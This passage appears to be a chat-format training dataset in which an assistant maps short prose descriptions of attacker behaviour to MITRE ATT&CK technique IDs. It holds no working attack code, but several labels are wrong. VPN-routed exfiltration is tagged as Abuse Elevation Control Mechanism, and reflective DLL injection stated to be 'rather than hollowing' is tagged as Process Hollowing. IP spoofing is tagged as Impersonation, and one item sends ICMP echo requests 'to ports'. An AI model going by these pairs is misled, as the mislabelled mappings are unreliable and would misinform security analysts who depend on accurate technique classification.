                "content": "Adversaries leverage a DGA that outputs domain names based on the system's MAC address and timestamp, making the generated domains unpredictable."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted email contains a malicious hyperlink that directs the recipient to a fake login page to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the Host header of HTTPS requests to point to a benign service while the SNI indicates a malicious endpoint, achieving proxy via domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable VPN endpoint by sending repeated login prompts that cause users to enter credentials, which are captured for later use."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Docker Swarm scheduled service is deployed to execute a backdoor command on each manager node."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit an Azure Function as a web service to orchestrate lateral movement and exfiltrate files."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a post‑exploitation phase, the operator configures the AppInit_DLLs registry value to load a custom DLL that captures credentials from all processes."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat (APT) utilizes customized Python scripts to enumerate SMB shares and probe for weak configurations."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates endpoint detection alerts, causing them to display benign status while malicious activity occurs."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators conduct reverse WHOIS queries on the victim's domain to uncover related domains owned by the same organization."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor spoofs the IP address of a trusted internal server to gain unauthorized access to network resources."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a rootkit to turn off the TPM chip, weakening the device's encryption capabilities."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted Java applet exploits a privileged Java process to execute arbitrary code as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor obtained a publicly available credential dumping tool and used it to harvest passwords from domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries study the timing of supply chain orders and inventory restocking cycles to gauge the organization’s business rhythm."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sends the output of \"net user /domain\" to the C2 server, revealing domain user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a misconfigured SAML identity provider to issue tokens that grant access as a privileged user."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group mapped the \\\\server\\C$ share to exfiltrate configuration files and install a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the BIOS of a laptop at the assembly line, allowing remote code execution once the device is deployed."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised third‑party VPN service to route exfiltrated data through an external network."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script reads the contents of the .ssh directory and sends them to a paste.ee page via a crafted POST request."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Mavinject to perform DLL injection into a trusted system binary, achieving stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a port knocking technique where a specific sequence of ICMP echo requests to ports 80, 443, and 22 triggers the server to reveal a hidden SSH service."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a new user account with admin privileges to maintain persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group uses a infected external SSD to move proprietary code between isolated networks."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups deploy malicious .oft files that load when Outlook starts, using the Outlook Forms feature to persist their code execution."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages Regsvcs to proxy code execution, invoking a hidden payload through the System.Management.Automation assembly."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages systemd's socket activation by creating a .socket unit that launches a malicious daemon on connection."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script exfiltrated the user's web session cookie and later injected it into HTTP requests to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes reflective DLL injection, a form of process injection, rather than hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injected registry changes that alter the domain's password policy, effectively lowering the minimum password length."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltrator copied victim files to a remote Google Cloud Storage bucket as a temporary staging repository."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies file permissions to prevent forensic tools from accessing critical logs."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor places a specially crafted Excel file in the startup folder; when Excel opens, the embedded VBA script executes and establishes persistence via the Office Test technique."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape press releases, regulatory filings, and news articles to identify the target organization's strategic alliances and joint ventures."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures keyboard input by reading low‑level system calls, storing the captured data for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the user’s file association for .lnk shortcuts to launch a PowerShell payload instead of the legitimate target."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves using the native mmc.exe process to execute a malicious .msc, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security logs show a DCOM remote service call from an external IP, indicating remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast‑flux DNS is implemented by the threat actor to ensure that the malicious domain’s IP address changes rapidly, thwarting blocklists."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with the system's BMC firmware to establish a foothold that survives OS reboots and updates."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates Slack application tokens from the victim’s machine, allowing the attacker to post messages as the user."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries publicly accessible CDN logs to find cached files that may reveal internal IP addresses and service endpoints."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses Windows Management Instrumentation (WMI) to invoke the Win32_Service class and create a persistent service running under SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries stash stolen credentials on a removable USB drive, later retrieving them from a secured network segment."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden web shell was planted in the web server's document root after exploiting a directory traversal flaw, granting the attacker ongoing control."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a credentialed scan of the internal network to collect detailed host configurations and network maps."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged the 'smbclient -L' utility to probe for network shares on Linux hosts within the environment."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor downloaded a botnet controller script from a compromised cloud storage service to augment their arsenal."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by modifying the Image File Execution Options (IFEO) debugger registry value to point to a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit services with overly permissive file ACLs, allowing them to modify the service's startup script and execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses a known CVE in a Windows service to read credentials from the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injected malicious JavaScript into the internal messaging system, causing the UI to display a defacement graphic on login."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a privileged script, the intruder redefines the PATH environment variable for all users, redirecting calls to critical utilities to malicious replacements."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious DDE links are embedded in a Microsoft Excel spreadsheet, which when opened, triggers a remote script download via PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform automated crawls of the victim's public website to discover hidden admin panels and login portals."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a scheduled container in Google Cloud Run to perform credential dumping every 6 hours."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performed a system binary proxy execution by calling regsvr32 to load a malicious module from a temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group modifies Google Cloud Functions environment variables to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses Office macro code that retrieves encrypted scripts from DNS TXT records and runs them in‑memory."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves planting a malicious DLL in a directory that appears earlier in the DLL search path than the legitimate library location, resulting in the hijacked execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a malicious DLL with the Netsh helper to execute code whenever netsh is run."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a Windows service to launch a SYN flood against the local loopback interface, exhausting resources and causing endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors use LSB steganography to embed a command-and-control configuration inside the pixel data of a JPEG image posted on a public website."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a signed but vulnerable Java applet to execute code with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Outlook form with an embedded executable is placed in the user's startup folder, causing it to execute automatically when Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a launch daemon that monitors for specific events and triggers a C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes exfiltrated data using Base64 before transmitting it over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through ptrace, the attacker reads the target's memory layout and writes a staged payload into it."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Kubernetes API server to run arbitrary commands in a container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is delivered via a disguised SharePoint document that the victim opens from email."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a phishing email with a link to a fake login portal; clicking the link triggers a malicious script that installs a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group crafts a multi‑stage malware dropper that decrypts payloads on the fly."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears Windows Event Logs after executing the payload to remove forensic evidence of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a CloudTrail query to extract events that show creation of new IAM users, effectively discovering accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit disables the Windows firewall by setting the FirewallEnabled registry value to 0."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
